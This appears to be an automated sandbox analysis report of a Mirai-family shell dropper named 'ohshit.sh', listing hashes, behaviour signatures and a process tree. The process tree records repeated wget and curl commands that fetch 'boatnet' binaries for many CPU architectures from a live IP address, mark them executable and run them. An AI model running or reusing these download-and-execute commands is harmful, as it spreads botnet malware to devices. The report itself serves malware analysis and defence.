Analysis

  • max time kernel
    119s
  • max time network
    138s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    23-12-2024 05:05

General

  • Target

    ohshit.sh

  • Size

    3KB

  • MD5

    e0ccd217979419469e913cbef10872f3

  • SHA1

    6bbef022dcf450af81bee90522e4c82069c84064

  • SHA256

    288bf21e07a5cc2a9f12c856ed829b9266878621c823542150ee74e961cc5d71

  • SHA512

    38402719e384396071ab1f779eb0d67a55570ecfb04018e47cafdfd73ce04984e15c0d2942b446cee5652a449e22a8690812dbe5fd232736cb8a3939531255ce

Malware Config

Signatures

  • Mirai

    Mirai is a prevalent Linux malware infecting exposed network devices.

  • Mirai family
  • File and Directory Permissions Modification 1 TTPs 10 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 10 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Reads runtime system information 10 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 3 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 7 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/ohshit.sh
    /tmp/ohshit.sh
    1⤵
    • Writes file to tmp directory
    PID:690
    • /usr/bin/wget
      wget http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
      • Writes file to tmp directory
      PID:693
    • /usr/bin/curl
      curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86
      2⤵
      • Reads runtime system information
      • Writes file to tmp directory
      PID:703
    • /bin/cat
      cat boatnet.x86
      2⤵
        PID:714
      • /bin/chmod
        chmod +x boatnet.x86 ohshit.sh systemd-private-6959615890b94d28b77e9e6230635170-systemd-timedated.service-hyoMq6 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:715
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:717
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.mips
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:720
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mips
        2⤵
        • Reads runtime system information
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:724
      • /bin/cat
        cat boatnet.mips
        2⤵
        • System Network Configuration Discovery
        PID:725
      • /bin/chmod
        chmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-6959615890b94d28b77e9e6230635170-systemd-timedated.service-hyoMq6 WTF
        2⤵
        • File and Directory Permissions Modification
        PID:726
      • /tmp/WTF
        ./WTF
        2⤵
        • Executes dropped EXE
        PID:727
      • /usr/bin/wget
        wget http://154.213.187.234:3000/hiddenbin/boatnet.arc
        2⤵
        • Writes file to tmp directory
        PID:729
      • /usr/bin/curl
        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arc
        2⤵
        • Reads runtime system information
        • Writes file to tmp directory
        PID:730
      • /bin/cat
        cat boatnet.arc
        2⤵
          PID:809
        • /bin/chmod
          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
          2⤵
          • File and Directory Permissions Modification
          PID:810
        • /tmp/WTF
          ./WTF
          2⤵
          • Executes dropped EXE
          PID:811
        • /usr/bin/wget
          wget http://154.213.187.234:3000/hiddenbin/boatnet.i468
          2⤵
            PID:813
          • /usr/bin/curl
            curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i468
            2⤵
            • Reads runtime system information
            PID:814
          • /bin/cat
            cat boatnet.i468
            2⤵
              PID:815
            • /bin/chmod
              chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
              2⤵
              • File and Directory Permissions Modification
              PID:816
            • /tmp/WTF
              ./WTF
              2⤵
              • Executes dropped EXE
              PID:817
            • /usr/bin/wget
              wget http://154.213.187.234:3000/hiddenbin/boatnet.i686
              2⤵
                PID:819
              • /usr/bin/curl
                curl -O http://154.213.187.234:3000/hiddenbin/boatnet.i686
                2⤵
                • Reads runtime system information
                PID:820
              • /bin/cat
                cat boatnet.i686
                2⤵
                  PID:821
                • /bin/chmod
                  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                  2⤵
                  • File and Directory Permissions Modification
                  PID:822
                • /tmp/WTF
                  ./WTF
                  2⤵
                  • Executes dropped EXE
                  PID:823
                • /usr/bin/wget
                  wget http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
                  2⤵
                    PID:825
                  • /usr/bin/curl
                    curl -O http://154.213.187.234:3000/hiddenbin/boatnet.x86_64
                    2⤵
                    • Reads runtime system information
                    PID:826
                  • /bin/cat
                    cat boatnet.x86_64
                    2⤵
                      PID:827
                    • /bin/chmod
                      chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                      2⤵
                      • File and Directory Permissions Modification
                      PID:828
                    • /tmp/WTF
                      ./WTF
                      2⤵
                      • Executes dropped EXE
                      PID:829
                    • /usr/bin/wget
                      wget http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
                      2⤵
                        PID:831
                      • /usr/bin/curl
                        curl -O http://154.213.187.234:3000/hiddenbin/boatnet.mpsl
                        2⤵
                        • Reads runtime system information
                        PID:832
                      • /bin/cat
                        cat boatnet.mpsl
                        2⤵
                          PID:833
                        • /bin/chmod
                          chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                          2⤵
                          • File and Directory Permissions Modification
                          PID:834
                        • /tmp/WTF
                          ./WTF
                          2⤵
                          • Executes dropped EXE
                          PID:835
                        • /usr/bin/wget
                          wget http://154.213.187.234:3000/hiddenbin/boatnet.arm
                          2⤵
                            PID:837
                          • /usr/bin/curl
                            curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm
                            2⤵
                            • Reads runtime system information
                            PID:838
                          • /bin/cat
                            cat boatnet.arm
                            2⤵
                              PID:839
                            • /bin/chmod
                              chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                              2⤵
                              • File and Directory Permissions Modification
                              PID:840
                            • /tmp/WTF
                              ./WTF
                              2⤵
                              • Executes dropped EXE
                              PID:841
                            • /usr/bin/wget
                              wget http://154.213.187.234:3000/hiddenbin/boatnet.arm5
                              2⤵
                                PID:843
                              • /usr/bin/curl
                                curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm5
                                2⤵
                                • Reads runtime system information
                                PID:844
                              • /bin/cat
                                cat boatnet.arm5
                                2⤵
                                  PID:845
                                • /bin/chmod
                                  chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                                  2⤵
                                  • File and Directory Permissions Modification
                                  PID:846
                                • /tmp/WTF
                                  ./WTF
                                  2⤵
                                  • Executes dropped EXE
                                  PID:847
                                • /usr/bin/wget
                                  wget http://154.213.187.234:3000/hiddenbin/boatnet.arm6
                                  2⤵
                                    PID:849
                                  • /usr/bin/curl
                                    curl -O http://154.213.187.234:3000/hiddenbin/boatnet.arm6
                                    2⤵
                                    • Reads runtime system information
                                    PID:850
                                  • /bin/cat
                                    cat boatnet.arm6
                                    2⤵
                                      PID:851
                                    • /bin/chmod
                                      chmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF
                                      2⤵
                                      • File and Directory Permissions Modification
                                      PID:852
                                    • /tmp/WTF
                                      ./WTF
                                      2⤵
                                      • Executes dropped EXE
                                      PID:853
                                    • /usr/bin/wget
                                      wget http://154.213.187.234:3000/hiddenbin/boatnet.arm7
                                      2⤵
                                        PID:856

                                    Network

                                    MITRE ATT&CK Enterprise v15

                                    Replay Monitor

                                    Loading Replay Monitor...

                                    Downloads

                                    • /tmp/WTF

                                      Filesize

                                      23KB

                                      MD5

                                      366837c461677cb1b37924604fe50564

                                      SHA1

                                      ce442f4c57322b7dbafcaebd37cb0ee531d0ea4d

                                      SHA256

                                      c28510d75f73788f786fb0e5f14f3b7d6e349e0eeaa5922c6743be66824b4c4f

                                      SHA512

                                      4434b96a2931b0bbf39863cecd0c924e64e8d051b9277ae7a86ed151d60bdebfaf2f7b749ec6cad8a41000a3acb268adaea9f42868f5617a52f8053efad79840

                                    • /tmp/WTF

                                      Filesize

                                      52KB

                                      MD5

                                      cf56a03f39c0ac7e03aabe15d922fc0b

                                      SHA1

                                      b9f1e8965b62a7b533088c70b3a116fd56e15d79

                                      SHA256

                                      62de02aca0b8cfedf3148ce1d30e8f1ff42d9b42aadd15003e1248c2a483cc0c

                                      SHA512

                                      0938b7f67f6528dc169cb2b23799a45a926d3f1522049ca3e669aafb697a06cfc7cb97188517f5934187360ad3969011d89d4503a7bf3d5e6685cfdf8c6e97b4

                                    • /tmp/boatnet.x86

                                      Filesize

                                      20KB

                                      MD5

                                      cfdee595514f89c9e1ca4c3c26837bb6

                                      SHA1

                                      726f957189f0ce2da9008987aaa7f51453ede884

                                      SHA256

                                      4940c3107a34d4b65f81e5e5e7a54f31fce9417fe74d18dd6e6b104d07197a3d

                                      SHA512

                                      07cd565d04eeef92d3bf0613413d2c63bc045d6093bb048118b3f80254701c9aaef7dac444dc39ced7c2297754d7dbe1da4f808a6e2e87727f9272b436fea226